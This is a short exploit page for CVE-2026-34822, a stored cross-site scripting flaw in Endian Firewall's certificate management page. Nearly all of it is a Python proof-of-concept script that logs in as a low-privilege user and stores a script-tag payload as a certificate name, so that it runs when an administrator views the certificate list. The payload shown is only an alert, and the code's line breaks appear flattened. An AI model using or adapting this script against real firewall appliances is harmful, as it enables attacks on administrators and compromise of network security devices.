CVE-2026-34822 Endian Firewall存储型XSS漏洞

import requests # Target URL (Replace with actual target) target_url = "https://<target-endian>/manage/ca/certificate/" login_url = "https://<target-endian>/login" # Attacker credentials (Low privilege) credentials = { "username": "low_priv_user", "password": "password123" } # XSS Payload to be stored xss_payload = "<script>alert('CVE-2026-34822 - Stored XSS');</script>" # Data for the certificate creation payload_data = { "new_cert_name": xss_payload, # Additional form fields may be required "action": "create" } session = requests.Session() # 1. Login login_response = session.post(login_url, data=credentials) if login_response.status_code != 200: print("Login failed") exit() # 2. Inject Payload response = session.post(target_url, data=payload_data) if response.status_code == 200: print("Payload injected successfully.") print("When an admin views the certificate list, the XSS will trigger.") else: print(f"Injection failed. Status code: {response.status_code}")